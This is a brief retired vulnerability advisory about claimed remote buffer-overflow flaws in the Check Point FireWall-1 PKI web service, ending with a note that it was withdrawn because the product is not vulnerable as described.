RETIRED: Check Point FireWall-1 PKI Web Service Remote Buffer Overflow Vulnerabilities

Check Point FireWall-1 PKI web service is prone to multiple remote buffer-overflow vulnerabilities because the application fails to perform adequate boundary checks on user-supplied data.

An attacker can exploit these issues to execute arbitrary code with the privileges of the user running the affected application. Failed exploit attempts will result in a denial-of-service condition.

NOTE: This BID is being retired because the application is not vulnerable as described.
